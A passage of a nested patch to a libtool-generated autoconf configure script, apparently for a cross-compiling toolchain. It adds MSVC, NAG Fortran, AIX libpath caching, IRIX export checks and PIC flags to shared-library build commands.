-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -7647,6 +8144,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -7842,7 +8341,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -7931,7 +8431,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8229,8 +8729,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8396,6 +8894,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8458,7 +8962,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -8515,13 +9019,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8582,6 +9090,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -8932,7 +9445,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9031,12 +9545,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9050,8 +9564,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9069,8 +9583,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9116,8 +9630,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9247,7 +9761,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9260,22 +9780,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9287,7 +9814,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9300,22 +9833,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9360,20 +9900,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -9434,7 +10017,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -9442,7 +10025,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -9458,7 +10041,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -9482,10 +10065,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -9564,23 +10147,36 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9665,7 +10261,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -9684,9 +10280,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -10262,8 +10858,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -10296,13 +10893,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -10394,7 +11049,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -11190,7 +11845,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 11193 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -11234,10 +11889,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
